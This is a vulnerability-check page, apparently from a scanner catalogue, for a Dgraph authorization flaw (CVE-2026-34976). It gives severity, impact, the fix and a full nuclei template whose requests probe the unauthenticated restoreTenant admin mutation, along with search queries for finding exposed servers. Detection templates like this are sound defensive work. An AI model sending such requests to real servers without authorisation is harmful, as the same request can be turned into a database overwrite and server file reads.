Dgraph <=v25.3.0 - Admin Mutation Missing Authorization

criticalseverity

10CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.

Impact

Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.

Fix

Update to version 25.3.1 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "dgraph", "Dgraph")
Send: POST /admin
Positive when: status_code == 200 and contains(body, "unauthorized ip address")
Send: POST /admin
Positive when: status_code == 200 and contains(body, "restoreTenant") and !contains(body, "unauthorized ip address")

Run it with nuclei: nuclei -id CVE-2026-34976 -u <target>

The full check

id: CVE-2026-34976

info:
  name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
  author: str4k3r
  severity: critical
  description: |
    Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.
  remediation: |
    Update to version 25.3.1 or later.
  reference:
    - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34976
    epss-score: 0.02066
    epss-percentile: 0.81549
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: hypermodeinc
    product: dgraph
    shodan-query: title:"Dgraph"
    fofa-query: body="dgraph"
  tags: cve,cve2026,dgraph,auth-bypass,ssrf

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "dgraph", "Dgraph")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "unauthorized ip address")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "restoreTenant")'
          - '!contains(body, "unauthorized ip address")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from